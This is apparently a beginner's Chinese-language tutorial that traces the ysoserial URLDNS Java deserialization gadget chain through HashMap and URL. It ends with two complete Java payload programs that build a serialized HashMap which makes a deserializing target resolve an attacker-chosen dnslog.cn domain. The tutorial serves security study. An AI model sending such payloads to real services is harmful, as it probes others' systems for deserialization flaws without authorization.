一、基本知识
HashMap是一种用于存储键值对的数据结构,它提供了快速的插入、删除和查找操作。
URLDNS是HashMap的反序列化漏洞利用代码,该模块可以让靶机执行DNS查询并返回结果。
先下载ysoserial源代码,然后在idea中打开就可以分析了,注意一定要配置ysoserial的maven依赖
这篇文章写的非常详细:IDEA运行Maven项目配置全过程(菜鸟专属)-CSDN博客
二、漏洞原理
java.util.HashMap类实现了Serializable接口并且重写了readObject方法,在反序列化时会通过hash函数调用key的hashcode方法,恰好在URL类中存在hashcode方法,这个方法会调用getHostAddress将自身作为参数执行一次DNS解析。
三、利用链分析
我们的思路就是先看这个java程序中是否有这个类是否继承了Serializable接口,然后再确定这个类是否对readobject方法进行了重写,然后就是在readobject相关的方法中找找有没有可以控制的参数,如果有那么接下来就逐步分析利用链,看看能否调用恶意的类和方法,最终确定要传的恶意代码。
1. 思路分析
首先看hashmap.java
可以看到是继承了Serializable接口的
同时也重写了readobject方法,传入了参数ObjectInputSrtram s来接收用户输入流
然后分析下图这个地方,因为这里涉及到我们可以控制的参数key和value,这里应该就是利用链的第一环
K key = (K) s.readObject();
这一行代码从输入流中读取一个对象,并将其转换为键的类型K。由于读取的对象类型是未知的,因此在转换时使用了泛型K,并且由于可能会导致类型转换异常,因此使用了@SuppressWarnings("unchecked")
注解来抑制警告。
putVal(hash(key), key, value, false, false);
这一行代码调用了HashMap的putVal
方法,将读取到的键值对插入HashMap中。其中,hash(key)
用于计算键的哈希值,key
是键对象,value
是值对象,而最后两个参数表示不需要进行扩容和初始化操作。
这里有两个方法putVal和hash。putVal方法就是将将读取到的键值对插入HashMap中,接下来分析hash()方法:
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
检查key的值是否为0,如果为0就返回0作为哈希值,如果不为0就调用key对象中的hashcode方法,然后用^ (h >>> 16)
进行运算,最终返回一个值。这里还没有找到利用点,继续跟进hashcode()方法:
hashCode()
函数是一个 native
方法,这意味着其实现是由底层的编程语言(通常是C或C++)来提供的,而不是由Java代码直接实现的。这里似乎已经走不通了,但是可以看到这个方法是在object类中的,而且是public的,这意味着所有类都可以调用这个方法并对其进行重写(因为object类是所有类的父类)。这时候我们的思路就转向调用其他重写了这个方法的类。
这里由于是分析URLDNS利用链,我们自然想到java的标准库URL.java,该类对hashcode进行了重写
可以看到当hashcode!=-1时,就直接返回hashcode,当hashcode=-1时就会执行handler.hashCode(this)
(这里的hashcode是一个URL.java中的变量,默认为-1)。
/* Our hash code. * @serial */ private int hashCode = -1;
于是继续跟进handler.hashCode(this)
可以看到这个hashcode方法接收的参数是url参数,本着跟进处理可控参数的函数的原则,直接看关键函数调用InetAddress addr = getHostAddress(u);
跟进
再跟进
可以看到这里调用了一个函数getHostAddress()
来进行DNS
解析返回对应的IP,这里就是最终的利用点
总结
分析到这里我们梳理一下利用链,首先是hash方法对可控key参数进行处理,如果key为空就返回0,如果key不为空就调用key中的hashcode方法进行运算后返回一个值,而URL这一java标准库中的类恰好定义了hashcode方法,所以我们继续分析URL这个类中的hashcode方法,在URL.java中有一个变量hashcode,当hashcode!=-1时,就直接返回hashcode,当hashcode=-1时就会调用handler中的hashCode(this)方法并且将自己作为参数。handler中的hashCode()方法接收的是一个url类的参数,这个方法调用了HostAddress(u)来对参数进行DNS查询。
利用链
HashMap->readObject() HashMap->hash() URL->hashCode() URLStreamHandler->hashCode() URLStreamHandler->getHostAddress() InetAddress->getByName()
那也就是说,如果我们将URL.java中的hashcode变量赋值为-1,并且给hash方法传入一个URL的实例化对象(就是将key赋值为URL对象),就可以直接进行DNS查询
2. 构造链子
我们首先来看readobject方法中的putVal方法
这个方法用于将键值对放入 HashMap 中,最终保存在hashmap的哈希数组桶(table)的结点中以键值对的形式存储,而且还会据需要调整 HashMap 的大小。
再来看hashmap中的put方法
它简单地将传入的键和值作为参数,并调用了 putVal
方法来实际执行插入操作。
回到HashMap.java,定位到writeobject方法
这里我们想的是给hash()传入一个url对象,但是这里还没有处理输入的代码,所以跟进internalWriteEntries(s)
这段代码是 HashMap 类中用于序列化(将 HashMap 对象写入 ObjectOutputStream)的一个辅助方法
-
首先,检查 HashMap 的大小是否大于 0,以及它的底层哈希桶数组
table
是否不为 null。如果不满足这两个条件,则表示 HashMap 中没有数据,直接结束方法。 -
如果 HashMap 中有数据,就遍历哈希桶数组
table
中的每个桶。 -
对于每个桶中的节点,使用一个内部循环来遍历链表或树结构中的所有节点。
-
对于每个节点,通过
s.writeObject(e.key)
和s.writeObject(e.value)
将键和值写入 ObjectOutputStream 中,实现序列化操作。
这个过程就实现了将hashmap中的哈希数组桶的结点传给ObjectOutputStream,之后就将其传递到readObject方法中进行读取,其中读取到的key就是我们实例化的URL对象,至此,这条利用链形成了闭环!
但是还有一个问题
想要修改table的值,就需要调用HashMap的put方法,而HashMap的put方法中也会对key调用一次hash方法,所以在这里就会产生第一次dns查询:
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
为了避免这一次的dns查询,URLDNS 中使用SilentURLStreamHandler
方法,直接返回null,并不会像URLStreamHandler
那样去调用一系列方法最终到getByName
,因此也就不会触发dns查询了
除了这种方法还可以在本地生成payload时,将hashCode设置不为-1
的其他值。
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
如果不为-1
,那么直接返回了。也就不会进行handler.hashCode(this);
这一步计算hashcode,也就没有之后的getByName
,获取dns查询
private int hashCode = -1;
由于hashCode是通过private
关键字进行修饰的(本类中可使用),可以通过反射来修改hashCode的值
总结
给key传为url并触发dns查询的步骤如下:
-
使用put方法将url对象和一个任意的value值传入hashmap的哈希数组桶的节点中,然后会由internalWriteEntries方法自动的将这个键值对传递给readobject
-
使用反射将URL.js中的hashcode参数先改为不等于-1的数,防止在调用put方法时触发dns查询,然后再将其改回-1,触发反序列化时的DNS查询。
payload1
package Payloads; import java.lang.reflect.Field; import java.util.HashMap; import java.net.URL; import java.io.FileOutputStream; import java.io.FileInputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; public class Main { public static void main(String[] args) throws Exception { HashMap map = new HashMap(); // 实例化HashMap类 URL url = new URL("http://78y3ls.dnslog.cn"); // 实例化URL类 Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); // 通过反射机制获取了 java.net.URL 类中名为 "hashCode" 的字段并赋值为f f.setAccessible(true); // 绕过Java语言权限控制检查的权限 f.set(url,123); // 设置hashcode的值为123 System.out.println(url.hashCode()); // 打印url中hashcode的执行结果 map.put(url,123); // 调用HashMap对象中的put方法,此时因为hashcode不为-1,不再触发dns查询 f.set(url,-1); // 将hashcode重新设置为-1,确保在反序列化成功触发 try { FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser"); ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream); outputStream.writeObject(map); outputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream("./urldns.ser"); ObjectInputStream inputStream = new ObjectInputStream(fileInputStream); inputStream.readObject(); inputStream.close(); fileInputStream.close(); } catch (Exception e){ e.printStackTrace(); } } }
URLDNS利用链
package ysoserial.payloads; import java.io.IOException; import java.net.InetAddress; import java.net.URLConnection; import java.net.URLStreamHandler; import java.util.HashMap; import java.net.URL; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; public class URLDNS implements ObjectPayload<Object> { //这个类用于示例化对象,并利用反射给hashcode赋值 public Object getObject(final String url) throws Exception { URLStreamHandler handler = new SilentURLStreamHandler(); //创建一个SilentURLStreamHandler对象,用于处理URL的Stream。 HashMap ht = new HashMap(); //创建一个HashMap对象,用于存储URL和对应的字符串。 URL u = new URL(null, url, handler); //通过给定的URL字符串和指定的handler创建一个URL对象。 ht.put(u, url); //将URL和对应的字符串放入HashMap中。 Reflections.setFieldValue(u, "hashCode", -1); //通过反射设置URL对象的hashCode字段为-1。 return ht; } //在主函数中给url类传入一个参数然后执行 public static void main(final String[] args) throws Exception { PayloadRunner.run(URLDNS.class, new String[]{"http://78y3ls.dnslog.cn"}); } //这个类用于规避使用put方法时,进行一次DNS查询的问题 static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } }
参考链接:Java反序列化 — URLDNS利用链分析 - 先知社区 (aliyun.com)
小白第一次写文章,请大佬多多指教。